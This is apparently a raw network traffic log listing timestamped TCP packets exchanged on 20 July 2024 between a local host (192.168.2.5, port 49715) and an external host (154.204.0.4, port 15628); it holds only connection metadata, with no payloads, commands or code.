Jul 20, 2024 11:53:57.136061907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.141088963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.141226053 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.148845911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.148926973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.153856039 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.153906107 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.158793926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.158835888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.163877964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.163969040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.168802977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.168878078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.174488068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.174534082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.179990053 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.180037022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.186743021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.186798096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.191832066 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.191871881 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.196955919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.197017908 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.202049017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.202094078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.207102060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.207150936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.212085962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.212150097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.217257023 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.217308044 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.222556114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.222651005 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.227586031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.227627993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.232991934 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.233035088 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.238545895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.238590002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.243516922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.243563890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.248555899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.248605967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.253717899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.253771067 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.259202003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.259244919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.264092922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.264143944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.269222975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.269263983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.274791002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.274838924 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.280323982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.280368090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.285398006 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.285444021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.290399075 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.290443897 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.295420885 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.295468092 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.300450087 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.300497055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.305479050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.305521965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.310720921 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.310775042 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.316253901 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.316303968 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.321562052 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.321608067 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.326592922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.326639891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.331844091 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.331890106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.337531090 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.337579966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.343369961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.343416929 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.348470926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.348519087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.353488922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.353534937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.358716965 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.358769894 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.363738060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.363785982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.369262934 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.369328022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.375444889 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.375493050 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.381892920 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.381942987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.387787104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.387835979 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.392771006 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.392832041 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.397797108 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.397847891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.402831078 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.402877092 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.409667015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.409725904 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.418338060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.418390036 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.423867941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.423919916 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.428745985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.428797960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.433748960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.433796883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.438786030 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.438834906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.444581032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.444643021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.450562954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.450617075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.455836058 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.455893040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.460973978 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.461051941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.487401962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.487520933 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.495806932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.495920897 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.506273031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.506469965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.511626959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.511715889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.517091036 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.517177105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.522296906 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.522394896 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.528259039 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.528341055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.533708096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.533798933 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.539124966 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.539201021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.544384003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.544450998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.549370050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.549431086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.554697037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.554774046 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.559729099 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.559789896 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.565280914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.565344095 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.571221113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.571306944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.577521086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.577579021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.583981037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.584028006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.589386940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.589441061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.594432116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.594471931 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.600563049 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.600613117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.606017113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.606061935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.611180067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.611226082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.617104053 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.617156982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.624578953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.624631882 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.630176067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.630227089 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.636543989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.636589050 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.642510891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.644999027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.652076960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.652985096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.658386946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.660990000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.668559074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.669003963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.674304962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.676975965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.683661938 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.685153961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.690275908 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.692970037 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.700576067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.700700998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.712896109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.713007927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.734957933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.735132933 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.772933960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.773123026 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.778528929 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.778680086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.784648895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.796876907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.802963972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.803050995 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.808568954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.808751106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.814897060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.814980984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.820240021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.839886904 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.844842911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.844969988 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.849910021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.849982977 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.855871916 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.856089115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.864602089 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.864845991 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.870178938 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.870590925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.884574890 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.884743929 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.892548084 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.893038988 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.900538921 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.900650024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.908540010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.908731937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.916002989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.916121006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.921763897 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.922139883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.927139997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.927290916 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.932576895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.932646036 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.937899113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.939235926 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.944504023 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.945105076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.950124979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.950311899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.955334902 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.955545902 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.961585999 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.961663008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.966689110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.966799021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.972532988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.972708941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.977857113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.978116989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.983206987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.983808041 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.988935947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.989279032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:57.994740009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:57.996915102 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.002096891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.002233982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.007225990 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.007294893 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.012370110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.012439966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.017653942 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.017740965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.022753954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.022893906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.028250933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.028333902 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.033586979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.033927917 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.039438009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.041203022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.046458960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.046715975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.051969051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.052464008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.057629108 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.057703018 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.063065052 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.063584089 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.068727970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.068818092 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.073888063 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.073987007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.078974009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.079078913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.084167004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.084252119 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.089245081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.089327097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.094337940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.094430923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.099387884 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.099709034 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.104692936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.104800940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.109668970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.109735966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.114546061 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.114669085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.119515896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.120054960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.124905109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.125005960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.130038977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.130171061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.135739088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.135818958 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.140908957 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.141969919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.146905899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.146981001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.152126074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.152277946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.157205105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.157335043 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.162576914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.165026903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.170068979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.170943022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.176002026 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.176146030 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.181065083 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.185031891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.190349102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:58.193047047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:58.198009968 CEST	15628	49715	154.204.0.4	192.168.2.5
